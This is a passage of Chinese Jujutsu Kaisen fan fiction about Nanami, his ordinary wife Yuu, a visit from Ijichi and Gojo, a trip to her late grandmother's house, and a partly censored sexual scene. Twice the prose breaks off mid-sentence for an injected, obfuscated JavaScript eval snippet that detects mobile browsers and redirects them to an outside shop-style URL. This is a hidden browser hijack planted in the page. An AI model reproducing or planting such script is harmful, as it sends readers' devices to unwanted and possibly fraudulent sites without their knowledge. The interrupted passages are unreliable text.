“七海前辈,您真的在证券公司工作啊。”伊地知下意识感叹,随即意识到失礼,“抱歉,我只是……” “只是没想到前咒术师能适应普通职场?”七海替他说完,语气平淡,“伊的知,坐吧,要喝茶吗?” “啊,不用麻烦……” “绿茶可以吗?” “……好的,谢谢。” 七海走向开放式厨房烧水。 这个动作让伊地知有些恍惚——三年前那个总是西装革履、冷着脸拒人千里之外的一级咒术师,现在正熟练地摆弄茶具,背景是窗外普通的住宅区风景。 “关于公寓的报告,早上我看过了。”七海背对着他,水壶发出加热的嗡鸣,“既然来了就直接说结论吧,总监部那希望我做什么?” 伊地知立刻坐直“不,不是要求您做什么。只是确认情况,以及……” 他顿了顿,“五条先生希望和您通话,但怕直接打来您会挂断,所以让我先来……” “呜——呜——” 水烧开了。 七海将热水倒入茶壶,茶叶舒展的细微香气在安静的客厅里格外清晰。 “他为什么不自己来?” “五条先生说……您肯定在生他的气,得找个信得过的后辈缓和一下气氛’。”伊地知复述时耳朵有点红。 七海的手顿了顿,然后继续倒茶的动作“我没生气。只是不想被打扰。” 他将茶杯放在伊地知面前的茶几上,自己在对面的单人沙发坐下“所以,报告怎么写?” 伊地知从公文包拿出平板:“按标准流程,需要记录咒灵等级、祓除方式、残秽处理……” “一级建筑共生型咒灵,以整栋公寓为媒介,核心在地下室枯井。我用十划咒法切断了它与建筑的能量连接,然后破坏了核心。” 七海流畅地陈述,像在汇报季度财报,“残秽用特殊方式净化了,具体方法涉及术式细节,不便公开。” 伊地知快速记录,犹豫了一下:“但是现场干净得……” “太干净了?”七海端起自己的茶杯,“我离开咒术界三年,总得有点进步。” 这句话堵住了所有追问。 24. 来人 伊地知低头完成记录“那么七海前辈,报告就这样提交。另外……”他推了推眼镜,“五条先生让我转达,如果您现在有时间,他希望能和您通个电话。” 七海看了眼书房里的时钟“十分钟后我要参加一个电话会议。” “他说五分钟就够了。” “……打吧。” 伊地知如释重负地拨通视频电话,将平板转向七海。 屏幕亮起,出现一张围着白色绷带的大脸,白色头发乱糟糟的,背景似乎是高专的教师办公室。 “哟,娜娜明~好久不见~”五条悟挥手的样子和几年前完全没差,一点也看不出来这家伙是老师。 “五条。”七海点头致意,姿势端正得像在参加商务会议,“听说你找我。” “哎呀别这么生分嘛~伊地知有没有好好传达我的问候?我可是特意选了最乖巧的后辈去哦~” 伊地知在镜头外尴尬地咳嗽了一声。 七海推了推眼镜“如果你是说那些‘娜娜明肯定在生气’的废话,他传达到了。” “哈哈!果然娜娜明还是老样子,一点都不可爱~”五条悟歪着头,“说正事,真的不考虑回来?高专现在急需靠谱的老师,那些小鬼一个个都无法无天的,需要你这样的正经人来管教。” “我对教育问题儿童没有兴趣。”七海说,“而且我现在的工作很充实。” “证券公司啊~”五条悟拉长声音,“每天对着数字和图表,不无聊吗?哪有祓除咒灵刺激?” “稳定的无聊,好过刺激的狗屎。”七海语气平静,“这是我三年前就说过的观点,现在依然成立。” 五条悟沉默了两秒,然后笑了——不是平时那种夸张的笑,而是更轻、更真实的轻笑:“也是,这才是你。” 他调整了一下坐姿,眼罩下的脸转向屏幕正中央“不过娜娜明,有件事我很好奇——听说你结婚了?” 七海端茶杯的手停在半空。 厨房方向传来轻微的声响——悠似乎出来了,但停在走廊拐角处。 “……你从哪听说的?”七海放下茶杯,声音里带着明显的无奈。 “诶~咒术界就这么大,消息传得很快的嘛~”五条悟的语气又变得轻佻,“有人说在超市看到你和一位女性一起买菜,很亲密的样子。还有人说你最近请假的频率变高了,肯定是新婚燕尔~” 七海揉了揉太阳穴:“所以你就让伊地知来确认?” “一半一半啦~主要是想见见你,顺便八卦一下~”五条悟笑嘻嘻地说,“所以是真的?恭喜啊!对方是什么样的人?什么时候办婚礼?需要我当伴郎吗?” “五条先生。”七海打断他,“第一,谢谢你的恭喜。第二,婚礼还没计划。第三……” 他顿了顿,看向走廊方向。 悠站在那里,穿着居家服,头发随意扎着,手里拿着一个马克杯——显然是想出来倒水,却碰上了这一幕。 七海对她做了个“稍等”的手势,然后转向屏幕, “第三,我妻子是普通人,完全不了解那边。而且我也希望她永远不用了解那个世界。所以,请不要再打听关于她的事,也不要让任何人来打扰我们的生活。五条,这是我最认真的请求。” 屏幕里的五条悟安静了几秒。 然后他抬手做了个投降的姿势:“明白了明白了~我保证,咒术界不会有人去打扰你们的二人世界。不过……” 他身体前倾,声音压低了一些: “娜娜明,如果真遇到什么麻烦——我是说,如果‘普通人’的生活被‘非普通’的事情打扰——随时找我。这句话是作为朋友说的,不是作为咒术界代表。” 七海看着屏幕里那张被眼罩遮住半边的脸,沉默了片刻,然后点头“谢谢。我会记住。” “那就好~”五条悟恢复轻快语气,“那我就不打扰你享受新婚生活啦~啊对了,如果改变主意想回来教书,随时联系我。工资可以谈哦~” “不会改变主意的。” “真绝情~那拜拜啦,替我跟弟妹问好~” 视频挂断。 客厅陷入短暂的安静。 伊地知小心翼翼地收起平板:“那七海前辈……我先告辞了。报告我会按要求提交。” 七海起身送他“辛苦你了,伊的知。” “不会。”伊地知走到门口,犹豫了一下,低声说,“七海前辈,恭喜您。” 七海愣了一下,然后微微点头“谢谢。” 门关上后,七海转身,看见悠还站在走廊里,脸颊有些红。 “他……叫你娜娜明?”悠问,语气里带着笑意。 七海的耳朵微微发红“那是我以前高专前辈——五条悟,是擅自取的外号。不要学。” 悠走过来,把马克杯放在茶几上,然后在七海身边坐下“这样呀~——那七海海刚才说……‘我妻子’。” 七海推了推眼镜,避开她的视线“事实陈述。而且这样说最能让他们停止打听。” “只是事实陈述?”悠歪着头看他。 七海伸手握住她的手“不完全是。” 他的手掌温暖干燥,指腹有长期握笔形成的薄茧。 悠低头看着两人交握的手,心里涌起一股甜蜜。 “我是不是……给你添麻烦了?”她轻声问,“因为那个能力,还有公寓的事,让咒术界又注意到你……” “没有。”七海握紧她的手,“是我选择公开我们的关系。这样反而更安全——一个‘前咒术师为了普通人妻子过上平静生活’的故事,比‘前咒术师隐居原因成谜’更不容易引人怀疑。” 他顿了顿,语气柔和下来: “而且,你不是麻烦。你是我选择共度一生的人,这不需要对任何人隐瞒。” 悠的眼眶有些发热。 她靠过去,额头抵在七海的肩膀上:“谢谢你,老公。” 七海低声笑了一下,轻轻拍了拍她的背“不用谢。不过……悠” “嗯?” “下次五条如果再打电话来,你不要出来。”七海说,“他不是坏人,但太敏锐。我不想让他注意到你的特别。” 悠点头“我知道了。” 两人就这样坐了一会儿,客厅里只有钟表走动的细微声响。 阳光透过百叶窗在地板上投下条纹状的光影,空气中的微尘在光柱里缓缓浮动。 “对了,”悠忽然想起什么,“你刚才说十分钟后有电话会议……” “取消了。”七海面不改色地说,“我让助理改期了。” “诶?可是……” “今天有更重要的事。”七海站起身,但手还牵着悠,“下午要收拾行李,明天一早去你外婆的老宅。我们需要集中精力。” 悠被他拉着站起来:“那现在……” “先吃午饭。”七海走向厨房,“我简单做点,吃完开始整理。” “我来帮忙。” “不用,你去休息。黑眼圈还没消。” 悠摸了摸自己的眼下“很明显吗?” 七海回头看了她一眼,眼神里带着温和的笑意“有一点。所以去沙发上躺一会儿,饭好了我叫你。” 悠听话地回到沙发。 她抱着抱枕,看着七海在厨房里忙碌的背影——衬衫袖子挽到手肘,露出线条流畅的小臂,切菜的动作精准而利落。 命运真是奇妙。 午餐是简单的亲子丼和味噌汤。 “好吃。”悠满足的说。 “那就多吃点。”七海把自己碗里的鸡肉夹给她,“你太瘦了。” 悠看着碗里多出来的鸡肉,心里甜丝丝的“七海海。” “嗯?” “我们这样……真的很幸福呢。” 七海吃饭的动作顿了顿,然后推了推眼镜“我们接下来会一直幸福的,悠。我会是你的依靠。” “那当然了嘛,七海海可是家里的顶梁柱!”悠接话,眼睛里闪着调皮的光。 七海看了她两秒,嘴角上扬“差不多。” 这个笑容很暖。 悠眉眼弯弯,自家老公果然——看着严肃、实则温柔可靠的男人。 午餐后,两人一起收拾餐具。 悠洗碗,七海擦干,配合默契得像已经这样做了很多年。 “其实,”悠一边冲洗盘子一边说,“我感觉五条先生人应该不错。” “嗯,他是个好人,也是个优秀的咒术师。”七海接过盘子,“但性格太不靠谱,工作方式太随意。我无法认同。” “他很关心你?” “……也许吧。”七海将擦干的盘子放进橱柜,“但他关心的方式总让人头疼。” 悠笑了“七海海,其实挺尊重他的,对吧?” 七海沉默的冲掉泡沫,然后承认“他的实力和理念值得尊重。但尊重不等于想共事。” “理念?” “咒术界的改革。”七海说,“五条悟想培养新一代咒术师,改变腐朽的旧制度。这是正确的方向,但过程会很漫长,很艰难。” 他顿了顿,语气变得冷淡: “我曾经相信过改革的可能性。但后来明白了,在根深蒂固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154072|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的系统里,个人的努力就像往大海里扔石子。所以我选择了离开,选择在能力范围内保护具体的人,而不是对抗抽象的系统。” 悠关掉水龙头,转身看着他:“那现在呢?如果五条先生需要帮助……” “我会在必要的时候提供建议,但不会想回去。”七海说得很坚定,“我现在有更重要的责任——你,我们的家,我们的未来。” 他伸手擦掉悠脸颊上溅到的一点水渍,动作自然得仿佛做过无数次。 “那些宏大叙事,让愿意的人去做吧。我只想保护好你和我的世界。” 悠的脸红了。 不是因为他的话,而是因为他的触碰——指尖的温度,轻柔的力度,还有那双眼睛里专注的光。 “七海海。”她轻声唤他。 “嗯?” “谢谢你选择我。” 七海看着她,很久没有说话。 然后他俯身,很轻、很快地在她的唇角吻了一下。 “是我该谢谢你。”他说,声音低得几乎听不见,“谢谢你愿意走进我的世界。” 这个吻很短暂,很克制,但悠感觉自己的心脏快要跳出胸腔了。 她踮起脚尖,在七海反应过来之前,在他的脸颊上回吻了一下。 “这是回礼。”她说,然后转身跑向卧室,“我去整理行李!” 七海站在原地,手还保持着刚才的姿势。 几秒后,他推了推眼镜,耳朵微红地走向书房。 “我也去整理。”他说,声音里有一丝不易察觉的波动。 下午的整理工作很顺利。 悠把必需品装进小行李箱,七海则整理了工作文件和电子设备——即使休假,他也要随时能处理紧急事务。 “老宅那边有网络吗?”七海问,正在检查充电器。 “应该没有Wi-Fi,但手机信号没问题。”悠说,“不过外婆的房间有结界,可能会影响信号。” “结界?” “嗯,一种很古老的防护。”悠努力解释,“它会让不该进去的人找不到门,让电子设备失灵,让不好的东西进不来。” 七海思考了一下:“类似于生得领域?” “好像不太一样。生得领域是咒术师创造的,那个结界是房子‘长’出来的。就像树会年轮,老房子会有自己的保护层。” 这个比喻很有趣。 七海记下来——似乎和咒术师有相通之处,但基础原理完全不同。 傍晚时分,行李整理完毕。 两人简单吃了晚餐,然后坐在客厅里做最后的确认。 “车票是明天早上八点的新干线,需要在六点半出门。”七海看着行程表,“抵达后转乘地方线,再步行二十分钟到老宅。预计上午十一点左右到达。” 悠点头“佐藤爷爷应该会在那里等我们。我昨天联系他了。” “佐藤爷爷是?” “村里的老人,和外婆是旧识。外婆去世后,他帮忙照看老宅。”悠说,“他是个很沉默的人,但很可靠。” 七海记下这个名字,然后合上笔记本“今晚早点休息。明天可能会很……耗费精力。” 他知道,打开外婆的遗物,不会是一件轻松的事。 “七海海。”悠忽然说,“我有点紧张。” 七海看向她。 悠坐在沙发另一端,抱着膝盖,像个不安的孩子。 他起身走过去,在她身边坐下“紧张是正常的。但记住,无论发现什么,我都在你身边。” 悠靠在他肩上:“嗯。” “而且,”七海补充,“你不是一个人面对。你有我,有顺平,有所有关心你的人。还有你外婆——她留下了那些东西,就是因为她相信你能处理好。” 悠闭上眼睛,感受着七海肩头的温暖和稳定:“你说得对。外婆不会留下我无法面对的东西。” “所以,放轻松。”七海说,“今晚好好睡一觉。明天,我们去见见你的过去,然后……走向我们的未来。” 我们的未来。 这个词让悠的心跳加速。 不是紧张,而是期待。 “老公。”她轻声说。 “嗯?” “能遇见你,真好。” 然后,她听见他说: “我也是。” 窗外,东京的夜幕降临。 城市灯火渐次亮起,像倒置的星河。 在这片星河的某一处,有一盏灯属于他们。 有一个家,有两个人,有即将揭晓的秘密,也有已经确定的真心。 25. 意外礼物 清晨,七海在浴室镜子前,仔细修整下颌冒出的胡茬。 镜中的男人眼下有极淡的青色。 早餐是老三样,烤吐司、煎蛋和黑咖啡。 七海将悠那份吐司的边角整齐切掉,放在盘子边缘——她总说喜欢焦脆的口感,但又总是剩下。 “早安,老公大人……”悠揉着眼睛从卧室晃出来,领口歪斜,露出白皙的锁骨,“好困……” “去洗脸。”七海把咖啡推到她常坐的位置,“距离出门,悠,你还有二十三分钟。” “好嘛,知道啦……”悠拖着步子走向浴室,忽然转身,“对了七海海,佐藤爷爷说老宅后院的蓝莓今年特别甜,我们可以摘一些带回来……” “前提是能在下午五点前赶回车站。”七海看了眼手表,“末班车五点二十。” “应该来得及……”悠的声音被水声淹没。 七点多,两人准备妥当。 悠检查着包里的手机充电线——这是她走到哪带到哪的习惯。 七海则最后一次确认车票和钥匙。 门铃就在这时响了。 七海从猫眼看了一眼,沉默了三秒,打开门。 伊地知洁高站在门外,手里捧着三个包装风格迥异的礼盒,表情比昨天更加拘谨,甚至有些手足无措。 “七海前辈,早上好。”他深深鞠躬,额头几乎碰到膝盖,“昨天走得匆忙,不知道您新婚……这是补上的贺礼。” 悠从七海身后探出头,眼睛眨了眨:“诶?太客气了……” “七海夫人!这一份是我的一点心意。”伊地知将最上方浅蓝色包装的小盒子递过来,“另外两份是五条先生、以及家入小姐和夜蛾校长让我转交的。他们说……祝您新婚愉快。” 七海接过三个盒子。 最小的浅蓝色包装系着银色丝带,中等大小的纯黑包装没有任何装饰,最大的那个——包装纸上印满了夸张的卡通草莓图案,丝带是亮粉色,还系了个巨大的蝴蝶结。 “他们怎么知道的?”七海问。 伊地知推了推眼镜,耳根发红“这个……五条先生和他们说的。他说‘娜娜明结婚这种大事怎么能不通知我’,然后家入小姐和夜蛾校长也就……” 七海叹了口气“伊的知,替我谢谢他们。还有,告诉五条,这是最后一次了。” “我明白。”伊地知再次鞠躬,“那我先告辞了。祝两位……新婚幸福。” “谢谢您的礼物!请慢走!”悠看着行色匆匆的伊的知,在他身后挥手告别。 送走伊地知后,悠好奇地盯着那个草莓图案的礼盒:“七海海,要现在拆开吗?时间好像还有点……” “悠,你拆这个的。”七海看了眼时钟,“另外两个我来拆开。” 浅蓝色盒子是伊地知送的。 打开后,里面是一套精致的白瓷茶具——两个茶杯,杯壁薄得透光,杯底手绘着精致的樱花图案。 附带的卡片字迹工整: “七海前辈: 恭喜新婚。 一点小心意,愿您和夫人能有更多温馨的茶时光。 ——伊地知洁高” “好漂亮……”悠小心地拿起一个杯子,对着晨光看,“伊地知先生真是细心。” 七海点点头,将茶具收回盒子“伊的知,他很细心,就是容易紧张。” 纯黑盒子打开后,里面是一本精装的《家庭医疗指南》,扉页有手写留言: “七海: 听说你结婚了。恭喜。 这本比市面上的实用,特别添加了意外伤害的应急处理(虽然希望你用不上)。 好好过日子。 ——家入硝子” 附:夜蛾校长说礼物他下次亲自送,让你有空带妻子回高专看看。 “家入小姐是医生?”悠翻看着指南,里面有许多手绘的解剖图和详细的药物说明。 “高专的医师,也是我的前辈,她和五条是同期。”七海合上指南,“家入前辈送的东西一向实用。” 最后是那个夸张的草莓礼盒。 悠看七海拆包装纸时忍不住笑出声——里面居然还有盒子,再拆,还有,套了整整三层。 “五条先生真是……”她哭笑不得。 最后的小盒子打开时,两人同时愣住了。 最上面是一盒安/全//t/。 包装极其醒目——草莓味,螺旋纹,凸点设计,超大号。 上面贴着一张便签,五条悟龙飞凤舞的字迹: “给娜娜明的新婚礼物~要好好‘体验’哦~(≧▽≦)” 悠的脸“唰”地红了。 七海深吸一口气,耳朵红得几乎透明,咬牙骂了句:“……那个白痴。” 但他还是拿开了那盒离谱的礼物。 下面才是真正的贺礼——一套高级点心店的季度礼券,以及一对星空投影对杯,杯身镶嵌着细小的夜光石。还有一张正经的卡片: “七海: 恭喜。 点心券是我常去的那家,你妻子应该会喜欢。 杯子晚上会发光,据说能促进夫妻感情(店家说的)。 好好对她。 ——悟” 悠拿起对杯,忍不住笑:“其实五条先生人挺好的……就是方式有点……” “有问题。”七海将那盒t扔进垃圾桶,但犹豫了一下,又弯腰捡回来,塞进公文包最底层,“……备用。” “诶?”悠睁大眼睛。 七海推了推眼镜,避开她的视线:“以防万一。” 他耳朵依然红着。 悠的脸更红了,但看着他故作镇定的样子,忍不住笑出声。 七海看着她笑,嘴角也微微上扬,虽然表情还是那副严肃的样子。 “该出发了。”他提起行李,“要赶不上电车了。” 电车不算拥挤。 七海让悠坐在靠窗的位置,自己站在她面前,用身体隔开人群。 电车驶出东京后,窗外的景色逐渐染上浓郁的绿色。 悠看着田野,忽然小声说:“七海海。” “嗯?” “那边……田埂上。”她用眼神示意,“那个趴着的,是什么?” 七海顺着她的视线看去。 一个蝇头趴在田埂上,形状像一团融化的泥土,缓慢地蠕动着。 非常弱,连成型都勉强。 “四级咒灵。”他低声说,“很弱,不用理会。” “在它身上,咒术师也能看到线吗?”悠好奇地问。 七海顿了顿“咒灵身上有咒力流动的痕迹,但不是你看到的那种‘线’。那是两种不同的体系。” 悠点点头,继续观察窗外。 过了一会儿,她又小心翼翼地指向远处的树林:“七海海,那棵树下面……有个穿红衣服的女人在梳头。” 七海看去——什么都没有。 没有咒力残秽,没有异常气息。 “我看不见。”他诚实地说,“如果是普通人看不见的存在,可能是灵体。你的‘线’和咒灵,似乎并不完全重合。” “所以我的世界和七海海的世界……像两个重叠的图层?”悠歪着头思考。 “更准确地说,是观察同一世界的不同维度。”七海解释,“我能看见咒力构成的存在,你能看见线构成的存在。它们有时重叠,有时分离。” 电车继续前进。 悠靠在窗边,忽然说:“七海海,你身上也有线哦。” 七海一愣:“什么?” “红色的线。”悠眯起眼睛,像是仔细分辨,“从你心脏的位置延伸出来,很漂亮的光泽……现在连在我身上。” 她伸手,在空中虚虚地碰了碰两人之间的位置:“感觉得到吗?” 七海看着空无一物的空气:“不行……还是看不见。” “没关系,说不定我们本来就有缘分呢。”悠笑得眼睛弯起来,“你看,线都牵好了。据说月老就是用红线牵姻缘的,我这个可是亲眼看见的实证。” 七海看着她得意的样子,忍不住想笑:“那你还能看见什么线?” “很多啊。”悠掰着手指数,“我自己研究的悲伤的线是灰色,快乐的线是金色,爱的线是粉红色或红色的……嫉妒的线是暗绿,恐惧的线是紫黑。” 她忽然想到什么,眼睛亮起来:“啊!这么说的话,以后如果七海海出轨了,我一眼就能看出来呢!而且谁出轨了都知道!” 七海:“……” “开玩笑的啦。”悠笑着靠回他肩上,“不过如果身边真的发生了,我应该能第一时间发现……然后就可以好好看八卦了!” “你都在想什么。”七海无奈地揉了揉她的头发,“不会发生那种事。” “我知道。”悠小声说,“因为七海海的线很干净,很坚定……是我见过最漂亮的红色。” 电车摇晃着前进。 七海的手搭在悠肩上,感受着她的体温。 “悠。”他忽然开口。 “嗯?” “你的世界……美吗?” 悠想了想,点头:“美。即使有些线是灰暗的,但交织在一起,就像一幅巨大的织锦……永远看不腻。” 她抬起头看他:“而且现在有七海海的线在里面,就更美了。” 七海的心像被轻轻握住。 他低下头,在她额头上吻了一下。 “到了。”他说,“准备下车。” 浅川町的站台很安静。 佐藤爷爷等在那里,穿着褪色的工作服,背微微佝偻。 “小悠。”他点头,目光落在七海身上,打量了几秒,“这位是……” “佐藤爷爷,这位是我丈夫,七海建人。”悠介绍,“我们上周刚结婚。” “初次见面。”七海礼貌地鞠躬,“感谢您一直照看悠。” 佐藤爷爷点点头,没多说什么:“走吧。” 老宅在町的尽头。 推开木门时,熟悉的气息扑面而来——榻榻米、老木头、还有淡淡的烧香味。 悠站在玄关,有瞬间的恍惚。 这里是她长大的地方。 五岁前模糊的记忆里,有外婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154073|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在缘侧看雨的背影;外婆在厨房煮红豆汤的香气;还有夏天午后,蝉鸣声中自己在庭院里追蜻蜓的画面。 “东西在佛堂最里面。”佐藤爷爷说,“都整理好了。你们先看,我去烧水。” 佛堂昏暗,只有一盏小灯。 佛龛前放着一个陈旧的木盒。 悠打开盒子。 里面只有一样东西——一卷褪色的手绘卷轴。 她小心地展开卷轴。 纸张泛黄,边缘有些破损,上面画满了密密麻麻、错综复杂的线条。 普通人看来,这只是一团混乱的涂鸦。 但在悠的眼中——那是无数种“线”的图谱。 金色的线以优雅的螺旋交织;灰色的线像枯萎的藤蔓纠缠;红色的线如心脏的脉络搏动;黑色的线则像荆棘般尖锐……每一种线都有独特的走向、纹理、韵律。 在卷轴的角落,有娟秀的字迹注释: “万物皆有线。看见线,即看见本质。 仪式非召唤,是邀请。 6月6日6时6分,极阴之时,线之门开。 我选择了进入。 然后,我怀孕了。” 后面还有更小的字: “孩子,如果你能看见这些线,说明你继承了它的‘眼睛’。 这不是诅咒,是恩赐。 用这双眼睛,去看世界的真实模样吧。 ——你的妈妈” 悠的手指抚过那些陌生的字迹。 她能“感觉”到——绘制这些线时那个女人倾注的情感,那种混杂着恐惧、期待、孤独和爱的复杂心绪,都留在笔触里。 “只有这个?”七海问。 “嗯。”悠点头,“她……妈妈不是咒术师,她只是个……有特别感知的普通人。她研究这些线,自己琢磨仪式,然后有了我。” 她重新卷起卷轴,动作轻柔:“外婆也看不见线。她只能看见咒灵,所以她一直以来都只能猜测我的能力……” 七海握住她的手:“现在悠,你知道了么?” “嗯。”悠有些惆怅,“我从极阴时刻的献祭仪式上而存在,现在还能看见万物的线?……七海海还挺酷的设定,对吧?” “很适合画进漫画。”七海说。 “对吧!我也这么想!”悠眼睛又亮起来,“可以画一个系列,叫《线之语》……” 下午查阅外婆其他留下的卷轴花了太多时间,他们错过了下午回东京的末班车。 佐藤爷爷极力挽留他们住下:“客房我都收拾好了。明天早上再走吧。” 傍晚,两人在庭院里散步。 夕阳把老宅染成暖金色,夏草在晚风中摇曳。 “那里。”悠忽然停下,指着庭院角落的老梅树。 七海顺着她指的方向看去——什么都没有。 “是什么?”他问。 “一个小女孩。”悠说,“穿着旧式的连衣裙,大概七八岁。她身上缠满了线……那些线拽着她的脚踝,把她困在原地了。” 七海用咒力探测。 依然什么都感觉不到——不是咒灵,不是怪异,是只有悠能看见的“存在”。 “那她在做什么?”他问。 “……她在重复一个动作。”悠观察着,“伸手向前,像是要抓住什么,然后失望地收回……她好像在等人。” 她走向梅树。 七海跟在身后,手微微抬起——虽然看不见,但他随时准备着。 悠在离那个“存在”几步远的地方蹲下。 她没有贸然触碰,只是轻声问:“你在等谁……或者是妈妈吗?” 女孩的动作停顿了。 悠伸出手。 在她的视野里,那些灰色的线开始颤动——不是恐惧,更像是……回应。 她的手指在空中轻抚,像在解开看不见的结。 灰色的线一根接一根松开颜色,从暗灰褪成透明,最后在晚风中飘散。 整个过程不到两分钟。 在七海的视野里,突然一个模糊的灵体轮廓渐渐显现——确实是个小女孩,穿着昭和年代的连衣裙。 她没有咒灵的污秽感,也没有地缚灵的怨念,只是……很干净的存在感。 女孩转向悠,露出一个小小的笑容。 然后她转身,走向庭院深处,身影逐渐透明,最后消失在暖金色的夕阳余晖里。 “结束了?”七海问。 “嗯。”悠站起身,“她在这里等了很久……现在可以去见妈妈了。” “悠,有没有不舒服?” “没有呀?没什么感觉?我帮她解开那些执念的结。”悠拍拍手上的灰尘,感觉身体良好“那些线是她自己的等待和孤独编织的牢笼。我只是……告诉她,可以不用再等了。” 她转身看七海,笑容在夕阳下格外温暖: “看,很简单吧?大部分都不是恶意的,只是需要一点理解和帮助。” 在夕阳照耀下,是她非常温暖耀眼的她侧颜,七海情不自禁的想要拥抱住她。 “嗯。”他说,“很简单。” 26. 夜晚的升温 夜晚,两人躺在客房的被褥里。 老宅很安静,只有远处传来的虫鸣和风吹过檐角的风铃声。 “七海海。”悠在黑暗中开口。 “嗯?” “我们结婚……第17天了。” “嗯。” “时间过得好快。”悠翻过身,面对他,“感觉像认识你很久了。” 七海在黑暗中也能想象她此刻的表情——眼睛亮亮的,带着一点撒娇的笑意。 他伸手,轻轻拂开她额前的碎发: “是吗。” “嗯。”悠靠过来,额头抵着他的肩膀,“而且我发现……我越来越喜欢七海海了。” 七海的心跳漏了一拍。 他手臂环住她的腰,将她拉近:“……我也是。” 话音落下的瞬间,空气仿佛被点燃。 他们的吻很自然地发生,始于一个试探般的轻触,随即如星火燎原。 悠生涩却热情地回应,与他纠缠。 一切都朝着既定的方向滑去,七海的动作虽然急切,却依旧维持着某种克制的温柔。 直到濒临爆发的边缘。 他猛地停住了所有动作,急/簇/的呼吸盆/在她的颈侧。 “等等。”他的声音沙哑得厉害,充满了压抑,“没有……” 悠懵了一下,混沌的大脑努力运转,才想起那盒存在感极强的礼物。 “五条先生送的……”她小声提醒,声音黏糊糊的,带着撒娇的鼻音,“你··…你不是带了吗?” 说到后面几个字,她的脸烫得快要烧起来,幸亏黑暗掩藏了这份羞涩。 “………在公文包里。”七海的声音里充满了懊恼,撑起身似乎想离开,“我去…还是算了” 骤然失去的重量和热度让悠感到一阵/空//虚/和凉意,她下意识地伸手紧紧抱住他,不让他离开。 “不要…就这样·……” 她知道自己此刻像个耍赖的孩子,但本能让她不想中断这令人眩晕的亲/腻。 “不行。”七海的拒绝斩钉截铁,即使在这种情况的煎熬下,他作为“靠谱大人”的理性依旧占了上风。 “悠,明天我们还要赶路,你需要休息。”他试图从她环抱的手中起身,动作却因为紧绷而显得无力。 悠能清晰感觉到他浑身绷得像石头,心跳又快又重,擂鼓般撞击着她的耳膜。 黑暗中,她看不清他的表情。 一种混合着心疼、甜蜜和……恶作剧般的冲动涌了上来。 她非但没有松手,反而埋在他的胸膛,用几乎听不见的气声说。 “可是……我看你很难受” 七海剧烈地震了一下,呼吸更/中了。 悠的心脏怦怦狂跳,羞涩几乎将她淹没,但某种想要看他彻底失控的想法驱使着她。 她鼓起这辈子最大的勇气,下华。 七海倒吸一口凉气。 悠的动作生涩而笨拙,完全凭记忆里那些漫画和理论的模糊印象。 她甚至只是怯生生地、试探性地。 月光此刻恰好偏移,一缕清辉透过纸门的缝隙,正好落在她仰起的脸上。 她双夹/飞/红,睫毛因为紧张和害羞而不住颤抖。 这画面像一把重锤,狠狠砸碎了七海最后一丝摇摇欲坠的理智。 “悠…”他的声音紧绷到极限,仿佛下一秒就要断裂,带着浓重的警告和再也无法压抑的课汪。 “嗯?”悠抬起迷/蒙的眼,还未来得及看清他眸中席卷的风暴。 下一秒,天旋地转。 七海以惊人的力量和速度翻身将她牢牢困在身下。 赤惹的口勿带着惩罚的意味重重罗下,几乎夺走所有呼吸。 良久,他才微微褪/开,在两人牵连的音丝间,于她耳畔咬牙切齿地低语“你自找的” 话落,他迅速起身,几乎是踉跄着冲出了房间,脚步声在寂静的老宅楼梯上咚咚作响,透着一股慌不择路的急切。 悠躺在微凉的被褥里,听着那远去的脚步声,心跳如雷。 几分钟后,脚步声返回,快而稳。 七海带着一身夜间的凉气重新跪坐下来,手里攥着那个扎眼的草莓图案盒子。 拆塑料包装的“嘶啦”声在静谧的房间里被无限放大,格外清晰刺耳。 悠羞得把脸埋进枕头,只露出红得滴血的耳朵。 当七海重新//服\上来,带着夜风的微凉。 紧接着,是奇异的感觉。 “等、等等……”她惊呼一声,声音抖得不成样子,“这个…感觉好奇怪·····这什么东西·……” 那些螺旋纹路存在感太古怪了。 “精心挑选的豪华体验版。”七海的声音带着一丝终于不再压抑的笑意,“现在知道后果了?” “呜…”悠想抗议,又说不出来。 …和之前任何一次都不同。 短暂的温存,他低头吻去她眼角的泪,又珍重地吻了口勿。 两人在慵懒与空白里,谁也没有立刻去检查那细微的、温热的、或许并非错觉的异样触感。 然而,闲着时间并未持续太久。 “七海海··…不·等等·…累……”悠的手臂发软,几乎支撑不住自己。 “刚才不是很有精神?” 悠的大脑彻底变成一团浆糊。 等她以为终于结束了,瘫软如泥地被七海搂进怀里。 “七海海!你………你还是人吗!”她带着哭腔控诉。 “新婚期,正常。”他面不改色地给出医学解释,然后在她无力的蜕/拒下,换了个紫/事。 月光洒在她脸上,不知过了多久,七海缓过气。 习惯性地想要帮她清理,毕竟不清干净睡觉会不舒服。 然而,当他用湿毛巾轻轻擦拭时,却发现有更多的、不正常分量的温热,甚至沾湿了榻榻米。 七海的动作僵住了。 一个荒谬的猜测闪过脑海。 他借着月光,仔细看向刚才随手丢在一旁的、已经变得皱巴巴的橡胶——似乎……完好无损? 不,等等。 他蹙眉捡起,对着月光仔细查看,在根部侧面,一个极其细微的、不仔细看根本无法察觉的破口赫然在目! 而那个草莓盒子的最底部,被华丽的装饰纸遮掩的地方,用极小的字体印着一行字: “仿真体验版(仅供增添趣味,无实际效果)” 